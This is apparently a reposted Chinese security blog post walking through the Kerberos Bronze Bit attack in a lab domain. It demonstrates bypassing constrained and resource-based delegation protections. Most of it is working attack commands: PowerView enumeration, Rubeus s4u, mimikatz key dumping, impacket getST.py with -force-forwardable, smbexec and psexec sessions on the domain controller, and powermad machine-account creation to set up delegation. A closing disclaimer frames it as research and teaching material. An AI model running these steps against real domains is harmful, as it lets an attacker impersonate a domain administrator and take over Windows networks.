该漏洞解决了两个问题
1.禁止协议转换/协议过渡
2.受保护的用户和敏感用户不能被委派
具体设置表现为DC上设置Service1计算机账户为“仅使用Kerberos”而非“使用任何身份验证协议”
域环境
DC:WIN-5CHMN9C4UES.YAYI.local (Windows Server 2012)
域内两台机器:
one2008.YAYI.local (Windows Server 2008)
WIN-BMIO66D4K15.YAYI.local (Windows 7)
域用户:
fwwr
joke
传统的约束委派绕过
服务用户:
委派对象:WIN-5CHMN9C4UES.YAYI.local
常规的约束委派利用:
1. 得到约束委派机器的用户凭证
2. 发现委派用户委派的目标机器
3. 获取RC4利用
powerview
查看约束委派的机器:
Get-DomainComputer -TrustedToAuth -Properties distinguishedname,msds-allowedtodelegateto | fl
Rubeus
一条命令实现约束委派:
Rubeus.exe s4u /user:fwwr /domain:YAYI.local /rc4:ca69e7f0f02d9156d1616ba6abd395b6 /impersonateuser:administrator /msdsspn:"dhcp/WIN-5CHMN9C4UES.YAYI.local/YAYI.local" /altservice:cifs /ptt
由于用户设置了 "敏感用户,不能被委派"
,将造成失败
使用新版 impacket
绕过:(截至最新版本:0.9.22
),最低版本要求:(0.9.21
)
先登录 one2008
机器用 mimikatz
获取 AES
和 RC4
privilege::debug
sekurlsa::"ekeys"
获取 TGT
导入 smbexec
连接
python3 getST.py -spn cifs/WIN-5CHMN9C4UES.YAYI.local -impersonate administrator -hashes AAD3B435B51404EEAAD3B435B51404EE:0adce35e9d541588782a98fe1fce59cf -aesKey 56f41eb095b4099b27934963200180321742c6f89db55bff02495b22b17afe69 YAYI.local/one2008 -force-forwardable
export KRB5CCNAME=administrator.ccache
sudo python3 smbexec.py -no-pass -k WIN-5CHMN9C4UES.YAYI.loca
基于资源的约束委派绕过
先配置环境,首先删除上一步 service1
的委派权限
用 adsi
编辑器赋予域用户 joke
对 one2008
写入权限
joke
用户可登录 WIN-BMIO66D4K15
,登录进去后
过 powermad
新加入一个计算机账户 AttackerService
,密码为 AttackerServicePassword
Import-Module .powermad.ps1
New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force)
用 mimikatz
计算出 hash
使用 PowerShell Active Directory
模块添加基于资源的约束委派,即从AttackerService
到 one2008
的传入信任关系
Import-Module .Microsoft.ActiveDirectory.Management.dll
Get-ADComputer AttackerService #确认机器账户已经被添加
Set-ADComputer one2008 -PrincipalsAllowedToDelegateToAccount AttackerService$ #设置域用户到目标机器
Get-ADComputer one2008 -Properties PrincipalsAllowedToDelegateToAccount #查看机器
验证用户是否成功委派到目标机器
Get-DomainUser -Identity <user> -Properties objectsid #获取某个用户的SID
Get-DomainObjectAcl -Identity one2008.YAYI.local | ?{$_.SecurityIdentifier -match "S-1-5-21-2799505025-1944254007-2887416074-1618"} #查询某个机子的AC
可以看到现在对 One2008.YAYI.local
有完全的控制权限,直接申请 TGT
远程连接即可(这里的 RC4
和 AES key
是上面的 mimikatz
获取的)
python3 getST.py -spn cifs/one2008.YAYI.local -impersonate administrator -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 537056f14b0f81bc6e4be6ddba7786efdadb813c61ed5a6dce1b YAYI.local/AttackerService -force-forwardable
export KRB5CCNAME=administrator.ccache
python3 psexec.py -no-pass -k one2008.YAYI.local
参考链接
https://y4er.com/post/kerberos-bronze-bit-attack/
原文始发于微信公众号(刨洞安全团队):Kerberos Bronze Bit Attack 绕过约束/资源委派限制
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论